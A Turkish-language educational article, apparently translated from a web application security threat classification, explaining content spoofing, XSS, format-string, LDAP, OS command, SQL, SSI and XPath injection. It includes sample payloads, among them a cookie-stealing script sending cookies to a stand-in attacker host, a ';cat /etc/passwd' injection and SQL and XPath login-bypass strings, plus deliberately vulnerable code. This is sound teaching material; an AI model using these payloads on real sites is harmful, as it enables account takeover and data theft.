Security Expert Network Editor Login | Register Ekle

root > Web Uygulamaları Güvenliği
Web Uygulamalarına Yönelik Saldırı Analizleri - 2 - Web Uygulamaları Güvenliği - root \ Cyber-Security
EmineGÜMÜŞ
(Date : 21.03.2009 17:07:43)


Web Uygulamalarına Yönelik Saldırı Analizleri - 2

İstemci Taraflı Saldırılar

İstemci taraflı saldırı bölümü bir web sitesi kullanıcılarının istismar edilmesi üzerine odaklanır. Saldırgan web sitesini ziyaret ettiğinde, kullanıcı ile web sitesi arasında teknolojik ve psikolojik bir güven kurulur. Saldırgan, kullanıcıyı istismar etmek için bir çok teknik kullanarak bu güven ilişkileri ile ilgili beklentileri kendi amacı için kullanır.

a - İçerik Sahteciliği

İçerik sahteciliği, kullanıcıya bir web sitesindeki belirli içeriğin meşru olduğuna ve bu içeriğin harici bir kaynağa ait olmadığına inandırılmasını sağlayan bir saldırı tekniğidir.

Dinamik olarak üretilen HTML içerikleri sunan web sayfaları vardır.

Örneğin, çerçeve kaynağının yeri (<frame src = “http://foo.example/file.html”>)

URL parametre değeri ile belirlenebilir.

(http://foo.example/page?frame_src=http://foo.example/file.html)

Saldırgan “frame_src” parametresinin değerini “frame_src=http://attacker.example/spoof.html” değeri ile değiştirebilir.

Sonuç web sayfası servis edildiğinde, web tarayıcısının adres kısmında kullanıcının beklediği alana ait adres bulunur ama yabancı veri (attacker.example) normal içerikle örtülmüştür.

Özel olarak değiştirilmiş linkler, e-posta, anında mesajlar, duyuru panoları mesajları veya XSS saldırısı yollarıyla kullanıcıya gönderilir. Eğer saldırgan kendisi tarafından belirlenmiş kötü içerikli URL adresini kullanıcının ziyaret etmesini sağlarsa, kullanıcı doğru içeriğe ulaşmadığı halde ulaştığına inanır.

Kullanıcılar sahte içeriğe güvenirler çünkü tarayıcının adres kısmında “http://foo.example” adresinin yazılı olduğunu görürler oysa sayfasının HTML çerçevesinin referansı “http://attacker.example”dır.

Bu saldırı kullanıcı ile web sitesi arasındaki güveni istismar eder. Bu teknik giriş formları, tahrif edilmiş içerik ve yanlış yayın sürüm bilgileri v.b içeren sahte web siteleri oluşturmak için kullanılır.

Örneğin; sahte basın yayını oluşturma.

Bir web sitesinin basın web sayfaları için dinamik olarak oluşturulan HTML çerçeveleri kullandığını düşünelim. Kullanıcı aşağıdaki gibi bir bağı ziyaret edecek olsun: (http://foo.example/pr?pg=http://foo.example/pr/01012003.html)

Sonuç web sayfası şu şekilde olur.

Kod Parçacığı:

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content"

SRC="http://foo.example/pr/01012003.html>

</FRAMESET>

</HTML>

Yukarıdaki örnekte yer alan “pr” web uygulaması, HTML sayfasını statik bir menüden

ve dinamik olarak “FRAME SRC” kaynağından oluşturmuştur. “pr_content” frame’i kaynağını istenen basın yayın içeriğini göstermek için URL adresinden “pg” parametresi değişkeni olarak alır. Fakat saldırgan normal URL adresini http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html?  

adresine çevirir ve “pg” değeri web sunucu tarafından kontrol edilmez ise sonuç HTML sayfası şu şekilde oluşur:

Kod Parçacığı:

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content" SRC="

http://attacker.example/spoofed_press_release.html">

</FRAMESET>

</HTML>

Son kullanıcı, “attacker.example” sahte içeriğinin meşru ve doğru bir kaynaktan geliyormuş olduğunu düşünür.

b - Siteler Arası Betik Yazma - XSS Saldırıları

XSS saldırıları, web sitesinin saldırgan tarafından belirlenen çalıştırılabilir kodu normal bir kullanıcıya göndermesi ve bu kodun kullanıcı web tarayıcısında yüklenerek çalışmasıyla gerçekleşen bir saldırı çeşitidir.

Genel olarak HTML/Javascript olarak yazılır ama VBScript, ActiveX, Java, Flash veya tarayıcı tarafından desteklenen başka teknolojilere de çevrilebilir. XSS saldırısına maruz kalan kullanıcının hesabı çalınır (çerezin ele geçmesi), kullanıcının web tarayıcısı başka bir adrese yönlendirilir veya ziyaret edilen web sitenin sunduğu hileli içerik kullanıcıya gösterilir.

Kalıcı ve kalıcı olmayan olmak üzere iki çeşit XSS saldırısı mevcuttur.

Örnek

1. Kalıcı saldırı

Birçok web sitesi kayıtlı kullanıcıların mesaj yollayabildiği ilan panoları sunarlar. Kayıtlı kullanıcı, ilan göndermek için kendisine yetki veren çerez kullanılarak takip edilir. Eğer saldırgan özel olarak oluşturulmuş JavaScript kod içeren mesaj gönderirse, bu mesajı okuyan kullanıcının çerezleri ve hesabı istismar edilebilir.

Çerez Çalma Kod Parçacığı

<SCRIPT>

document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie  

</SCRIPT>

2. Kalıcı Olmayan Saldırı

Birçok web portalı web sitesinin kişiselleştirilmiş bir şeklini sunar ve siteye giren kullanıcıları “<İsminiz> Hoş Geldiniz” gibi bir ifade ile karşılar.

Bazen giriş yapan kullanıcıyı belirleyen veri, URL"nin soru kelimesinde depolanır ve monitörde gösterilir.

Portal URL Örneği

http://portal.example/index.php?sessionid=12312312&username=Joe

Yukarıdaki örnekte kullanıcı isminin (“Joe”) URL’de yer aldığı görülmektedir. Oluşan web sayfasında “Joe, Hoş Geldin” mesajı görüntülenmektedir. Eğer saldırgan, kullanıcı ismi alanını çerez çalabilen bir JavaScript kodu yardımıyla değiştirebilirse, kullanıcı hesabının kontrolünü ele geçirme imkanına sahip olabilir.

URL kodlamasıyla kodlanmış çerez çalma URL örneği:

http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

Çerez çalma URL örneğinin çözümlenmiş hali:

http://portal.example/index.php?sessionid=12312312&username=<script>document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie</script>

Komut Çalıştırılarak Gerçekleştirilen Saldırılar

Uzaktan çalışan komutlarla yapılan saldırılardır. Bütün web siteleri talepleri karşılamak için kullanıcı girdilerinden faydalanır. Çoğu zaman bu kullanıcı girdileri dinamik web sitesi içeriği hazırlamada kullanılan komutların oluşturulmasında kullanılır. Eğer bu işlem güvenli bir şekilde yapılmazsa, saldırgan komut çalıştırma işlemini değiştirebilir.

a - Ara Bellek Taşması - Buffer Overflow

Buffer overflow saldırıları, hafızanın bazı bölümlerinin üzerine yazarak uygulamanın akışını değiştiren saldırılardır. Hata ile sonuçlanan genel bir yazılım kusurudur. Bu hata durumu, ayrılan yerden daha çok veri hafızada bir yere yazıldığında oluşur. Bellek taştığında, komşu hafıza bölgelerinin üzerine yazılarak hatalara veya çökmelere neden olunur. Bellek taşmasının, hafızayı bozması yazılımın çökmesi ile sonuçlanır ve bu şekilde hizmet dışı saldırısı olarak kullanılabilir. Bellek taşması açıklıkları, yığın işaretçilerinin üzerine yazmak suretiyle programı yeniden yönlendirmek ve zararlı kodlar çalıştırmak için

kullanılmaktadır. Bellek taşması program değişkenlerini değiştirmek için de kullanılmaktadır. Buffer Overflow açıklıkları genellikle C ve C++ gibi programlama dillerinde meydana gelir. Bir CGI programında veya bir C programına ulaşan bir web sayfasında meydana gelebilir.

b - Dizgi Formatı Saldırısı

Dizgi formatı saldırıları dizgi biçimlendirme kütüphanesinin özelliklerini kullanarak diğer hafıza bölümlerine ulaşır ve bu şekilde uygulamanın akışını değiştirir. Açıklıklar, istemci taraflı verilerin bazı C/C++ fonksiyonlarında doğrudan kullanılması sonucu olşur. (örn. fprintf, printf, sprintf, setproctitle, syslog, ...)

Eğer bir saldırgan, web uygulamasına parametre olarak printf değiştirme karakterlerinden oluşan bir dizgi formatı verirse, şunlara sebep olabilir:

• sunucudaki rastgele herhangi bir kodun çalıştırılmasına,

• yığından değer okunup atılmasına

• kesimleme hatalarına (segmentation fault)/ yazılımın çökmesine

Örnek

Farzedelim ki bir web uygulaması, kullanıcı tarafından belirlenen bir email Address parametresine sahip. Bu uygulama bu değişkenin değerini printf fonksiyonunu kullanarak yazdırsın:

printf(emailAddress);

Eğer emailAddress ile gönderilen parametre, biçim karakterlerini içeriyorsa, printf bu karakterleri tanır, ve fazladan verilen argümanları kullanır. Eğer böyle argümanlar bulunmazsa, veri yığından, printf fonksiyonunun beklediği sırada uygun olarak alınır ve kullanılır.

Dizgi formatı saldırılarının bu şekildeki durumlarda olası kullanımları şöyle olabilir:

1. Yığından veri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%x” değiştirme karakterini (bir veya daha fazla kez) yollayarak yığındaki değerleri okuyabilir.

2. Hafızada işleme ayrılan bölümden karakter dizileri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%s” değiştirme

karakterini kullanarak rastgele hafıza bölgelerindeki karakter dizilerini okuyabilir.

3. Hafızada işleme ayrılan bölümdeki yerlere tamsayı yazmak: “%n” değiştirme

karakterini kullanarak, bir saldırgan, hafızadaki herhangi bir bölgeye bir sayı değeri yazabilir. (Örn. programın erişim ayrıcalıklarını kontrol eden değerlerin veya fonksiyonların dönüş adreslerinin üzerine yazmak, vb. gibi.)

c- LDAP Enjeksiyonu

Lightweight Directory Access Protocol (LDAP) X.500 dizin servislerini düzenlemeye ve sorgulamaya yarayan açık standartlı bir protokoldür. LDAP enjeksiyonu kullanıcı girdilerinden LDAP cümleleri oluşturan web sitelerini sömürmeye yarayan bir saldırı tekniğidir. LDAP protokolü TCP gibi internet taşıma protokollerinin üzerinde çalışır. Web uygulamları, dinamik web taleplerini karşılamak için, kullanıcı girdileri ile oluşturulan LDAP cümleleri kurar ve kullanır.

Aynı gelişmiş sömürü teknikleri SQL enjeksiyonu için de geçerlidir ve LDAP enjeksiyonuna benzer bir şekilde uygulanabilir.

Örnek

Yorumlarla Açıklığı Bulunan Kod:

Satır 0: <html>

Satır 1: <body>

Satır 2: <%@ Language=VBScript %>

Satır 3: <%

Satır 4: Dim userName

Satır 5: Dim filter

Satır 6: Dim ldapObj

Satır 7:

Satır 8: Const LDAP_SERVER = "ldap.example"

Satır 9:

Satır 10: userName = Request.QueryString("user")

Satır 11:

Satır 12: if( userName = "" ) then

Satır 13: Response.Write("<b>Geçersiz talep. Lütfen geçerli bir kullanıcı ismi ve

parolası giriniz</b><br>")

Satır 14: Response.End()

Satır 15: end if

Satır 16:

Satır 17:

Satır 18: filter = "(uid=" + CStr(userName) + ")" " kullanıcı girdisini arıyor

Satır 19:

Satır 20:

Satır 21: "LDAP objesini oluşturuyor ve temel dn’i tanımlıyor

Satır 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")

Satır 23: ldapObj.ServerName = LDAP_SERVER

Satır 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"

Satır 25:

Satır 26: "arama filtresini tanımlıyor

Satır 27: ldapObj.SearchFilter = filter

Satır 28:

Satır 29: ldapObj.Search

Satır 30:

Satır 31: "Kullanıcı bilgisini gösteriyor

Satır 32: While ldapObj.NextResult = 1

Satır 33: Response.Write("<p>")

Satır 34:

Satır 35: Response.Write("<b><u>User information for : " +ldapObj.AttrValue(0) + "</u></b><br>")

Satır 36: For i = 0 To ldapObj.AttrCount -1

Satır 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b> : " + ldapObj.AttrValue(i) + "<br>" )

Satır 38: Next

Satır 39: Response.Write("</p>")

Satır 40: Wend

Satır 41: %>

Satır 42: </body>

Satır 43: </html>

Koda baktığımızda, 10. satırda userName değişkeninin user parametresiyle

başlatıldığını ve ardından hızla boş olup olmadığının kontrol edildiğini görüyoruz. Eğer değer boş değilse, userName 18. satırda filter değişkenine ilk değeri atanıyor. Bu yeni değişken ise 27. satırda SearchFilter’a yapılan çağrıda kullanılan LDAP sorgusunu oluşturmak için doğrudan kullanılıyor. Bu senaryoda, saldırgan LDAP sunucusu üzerindeki sorguda mutlak kontrole sahip, ve sorgusunun sonuçlarını 32. ve 40. satırlar arasında, bütün sonuçlar ve özellikleri kullanıcıya tekrar gösterildiğinde alacaktır.

Saldırı Örneği

http://example/ldapsearch.asp?user=*

Yukarıdaki örnekte, user parametresi olarak * karakterini gönderiyoruz, ve sonuç olarak koddaki filter değişkenine * ilk değeri atanıyor (uid=*). Sonuçlanan LDAP cümlesi sunucuya uid özelliği bulunan her objeyi döndürmesini sağlayacaktır.

d - İşletim Sistemi Yönetme

İşletim Sistemi Yönetme, uygulama girdilerinin düzenlenmesi yoluyla işletim sistemi komutlarını çalıştırma ve bu şekilde web sitelerini sömürme tekniğidir. Web uygulaması kullanıcı-kaynaklı girdileri uygulama kodunda kullanmadan önce düzgün bir biçimde denetlemediği takdirde, uygulamayı işletim sisteminin komutlarını çalıştıracak biçimde kandırmak mümkün olabilir. Çalıştırılan komutlar çalıştıran kısmın haklarıyla çalışırlar. (örn. Veritabanı sunucusu, Web uygulaması sunucusu, Web sunucusu, etc.)

Örnek

Perl, dosya isminin arkasına ‘|’(aktarım karakteri) eklemek suretiyle, bir işten bir open cümlesine veri aktarımına izin verir.

Aktarım Karakteri(|) Örnekleri:

# “/bin/ls” ’i çalıştırma ve çıktıyı open cümlesine aktarma:

open(FILE, “/bin/ls|”)

Web uygulamaları, çoğu zaman, görüntülenen veya şablon olarak kullanılan bir dosyayı belirten parametreler içerir. Eğer web uygulaması kullanıcının sağladığı girdileri düzgün bir biçimde denetlemezse, saldırgan parametre değerini kabuk komutu ve akabinde aktarım sembolü olacak biçimde değiştirebilir (yukarıda gösterildiği gibi).

Web uygulamasının orjinal URL’si:

http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt ise;

şablon parametresinin değerini değiştirerek, saldırgan web uygulamasını /bin/ls komutunu çalıştıracak şekilde kandırabilir.

http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|

Birçok betik dili, değişik exec fonksiyonlarını kullanarak, programcıya yürütme esnasında işletim şistemi komutları çalıştırma izni verir. Eğer bir web uygulaması kullanıcı kaynaklı girdinin denetlenmeden böyle bir fonksiyon çağrısının içerisinde kullanılmasına izin verirse, saldırganın uzaktan işletim sistemi komutları çalıştırması mümkün hale gelir.

Örneğin, aşağıdaki PHP betiğinin parçası, sistem klasörünün içeriğini gösterir

(Unix sistemlerinin):

exec("ls -la $dir",$lines,$rc);

Kabuk komutunun, sonuna noktalı virgül (;) ve işletim sistemi komutu ekleyerek alışırsa, web uygulması ikinci komutu çalıştırmaya zorlanabilir:

http://example/directory.php?dir=%3Bcat%20/etc/passwd

Sonuç /etc/passwd dosyasının içeriğini döndürecektir.

e - SQL Enjeksiyonu

SQL enjeksiyonu, kullanıcı kaynaklı girdilerden SQL cümleleri oluşturan web sitelerini sömürmek için kullanılan bir saldırı tekniğidir.

Structured Query Language (SQL) veritabanlarına sorgu yapmak üzerine özelleşmiş bir programlama dilidir. Birçok küçük ve endüstriyel güçteki veritabanı uygulamalarına SQL cümleleri aracılığıyla ulaşılabilir. SQL hem ANSI hem de ISO standardıdır.

Eğer bir web uygulaması, kullanıcı kaynaklı girdiyi düzgün bir biçimde denetlemezse, bir saldırgan arka taraftaki SQL cümlesi oluşumunu değiştirebilir.

Saldırgan SQL cümlesini değiştirdiğinde, işlem komutu çalıştıran öğenin haklarıyla çalışacaktır. (örn. veritabanı sunucusu, web uygulaması, web sunucusu, vb.) Bu saldırının sonucu olarak saldırgan, veritabanının tamamının kontrolünü eline geçirebildiği gibi, sistem üzerinde de komutlar çalıştırabilir.

LDAP enjeksiyonu için geçerli olan gelişmiş sömürme teknikleri benzer bir biçimde SQL enjeksiyonunda da uygulanabilir.

Örnek

Bir web tabanlı kimlik doğrulama formu şöyle bir koda sahip olabilir:

SQLQuery = "SELECT Username FROM Users WHERE Username = "" & strUsername & "" AND Password = "" & strPassword & """ strAuthCheck = GetQueryResult(SQLQuery)

Bu kodda, geliştirici kullanıcı girdisini formdan alıp doğrudan SQL sorgusunun içine gömüyor.

Farzedelim ki, saldırgan şöyle bir kullanıcı adı ve parola giriyor:

Login: " OR ""="

Password: " OR ""="

Bu, sonuçlanan SQL sorgusunun şöyle olmasına sebep olur:

SELECT Username FROM Users WHERE Username = "" OR ""="" AND Password = "" OR ""=""

Kullanıcılar tablosundaki bilgilerle kullanıcının girdiği bilgileri karşılaştırmak yerine, sorgu "" ile "" karakterlerini karşılaştırıyor. Bu karşılaştırmada doğru sonuç dönecek ve saldırgan kullanıcılar listesindeki ilk kullanıcı olarak sisteme girecektir.

Genel olarak bilinen iki SQL enjeksiyon metodu bulunmaktadır:

Normal SQL enjeksiyonu ve Kör SQL Enjeksiyonu.

1. Normal SQL Enjeksiyonu

Parametreye “union select” cümlesi ekleyerek saldırgan veritabanına giriş hakkı kazanıp kazanamayacağını test edebilir.

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects

SQL sunucusu şuna benzer bir hata döndürebilir:

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Bu, saldırgana, SQL cümlesinin çalışabilmesi için gerekli sütun sayısını tahmin etmesi gerektiğini söyler.

2. Kör SQL Enjeksiyonu

Kör SQL Enjeksiyonunda sunucu veritabanı hatası yerine kullanıcı dostu bir hata sayfası döndürerek kullanıcıya bir hata yaptığını bildirir. Bu durumda, SQL enjeksiyonu hala yapılabilir, fakat keşfedilmesi o kadar kolay olmaz. Kör SQL enjeksiyonunun keşfedilmesinde parametre değerine doğru veya yanlış cümleler girilmesi ortak kullanılan bir yoldur.

Bir web sitesi, şu talep yapıldığında:

http://example/article.asp?ID=2+and+1=1

bu taleple aynı sonucu döndürmelidir,

http://example/article.asp?ID=2

çünkü 1=1 SQL cümlesi her zaman doğrudur.

Bir web sitesi, şu talep yapıldığında:

http://example/article.asp?ID=2+and+1=0

kullanıcı dostu bir hata sayfası döndürecek veya hiçbir sayfa döndürmeyecektir.

Çünkü and 1=0 SQL cümlesi her zaman yanlış bir cümledir. Saldırgan sitenin kör SQL enjeksiyonuna açık olduğunu farkettiğinde, bazı durumlarda, bu açıklığı normal SQL enjeksiyonundan daha kolay bir şekilde sömürebilir.

f - SSI Enjeksiyonu

SSI Enjeksiyonu (Server-side Include) bir saldırganın, bir web uygulamasına, daha

sonradan web sunucusu tarafından yerel olarak çalıştırılması için, kod göndermesine izin veren bir sömürü tekniğidir. SSI enjeksiyonu, web uygulamasının kullanıcı kaynaklı veriyi sunucu tarafında hazırlanan HTML dosyasına denetim yapmadan koyması hatasını sömürür.

Eğer bir saldırgan sunucu taraflı Include cümleleri yollarsa, keyfi işletim sistemi komutları çalıştırabilme yeteneğine sahip olabilir, veya kısıtlı bir dosyanın içeriğini sayfanın bir sonraki servisine dahil ettirebilir.

Örnek

Takip eden SSI etiketi (tag), bir saldırganın, bir UNIX tabanlı sistemin kök dizininin listesini almasını sağlar.

<!-- #exec cmd="/bin/ls /" -->

Takip eden SSI etiketi, bir saldırganın, bir .NET konfigürasyon dosyasında saklanan veritabanı bağlantı dizesini veya başka hassas verileri elde etmesini sağlar.

<!-- #INCLUDE VIRTUAL="/web.config"-->

g - Xpath Enjeksiyonu

XPath enjeksiyonu, kullanıcı kaynaklı girdilerden Xpath sorguları oluşturan web sitelerini sömürmek için kullanılan bir tekniktir. Xpath 1.0 bir XML dökümanının parçalarını işaret etmek için kullanılabilir. Doğrudan uygulama tarafından bir XML dökümanını sorgulamak için kullanılabildiği gibi, XSTL dökümanının XML dökümanına dönüşümü veya XML dökümanına Xquery uygulanması gibi daha büyük bir işlemin parçası olarak da kullanılabilir. Xpath kullanarak bir xml dökümanında SQL benzeri sorgular oluşturmak mümkündür.

Örneğin, kullanıcı isimli bir elemanı olan bir XML dökümanı olsun, ve bütün bu kullanıcıların isim, parola ve hesap isimli 3 tane alt elemanı olsun. Takip eden Xpath ifadesi “jsmith” isimli ve “Demo1234” parolalı kullanıcının hesap numarasını verir. (veya böyle bir kullanıcı yoksa boş dize verir.)

string(//user[isim/text()="jsmith" and parola/text()="Demo1234"]/hesap/text())

Eğer bir uygulama, Xpath sorgusunu yürütme esnasında oluşturuyorsa, sorguya güvenli olmayan kullanıcı girdisi gömerek sorguya veri enjekte edebilir ve yeni oluşan sorgu programcının isteğinin dışında çalışabilir.

Örnek

Düşünün ki bir web uygulaması bir XML dökümanına sorgu yapmak için Xpath kullanıyor ve ismi ve parolası girilen bir kullanıcının hesap numarasını getiriyor. Bu uygulama bu değerleri doğrudan Xpath sorgusunun içine gömebilir ve  güvenlik açığı oluşturabilir.

İşte bir örnek (Microsoft ASP.NET ve C# kullanılarak)

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr = nav.Compile("string(//kullanıcı[name/text() =""+TextBox1.Text+""and password/text()=""+TextBox2.Text+ ""]/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));

if (account=="")

{

// name+password pair is not found in the XML document

// login failed.

}

else

{

// account found -> Login succeeded.

// Proceed into the application.

}

Bu kod kullanıldığında, bir saldırgan Xpath ifadeleri enjekte edebilir ve örneğin, takip eden değeri kullanıcı adı olarak sağlayabilir.

" or 1=1 or ""="

Bu orjinal Xpath in anlamının değişmesine, ve her zaman XML dökümanındaki ilk hesap numarasının dönmesine sebep olur. Bu durumda sorgu,

string(//kullanıcı[isim/text()="" or 1=1 or ""="" and parola/text()

="foobar"]/hesap/text())

Bu (önermedeki eşitlik her zaman doğru olacağından) şununla eşdeğerdir:

string(//kullanıcı/hesap/text()) ve ilk //kullanıcı/hesap/text() örneğini döndürür.

Bu yüzden, saldırı, doğru kullanıcı adı ve parolası girmediği halde saldırganı sisteme sokar (XML dökümanındaki ilk kullanıcı olarak).

 

 




Derecelendir
Kaynak www.webappsec.org
İçerik İhbarı
Bağlantılar Bg.org.tr

CS - Security Expert Network AUP&TOS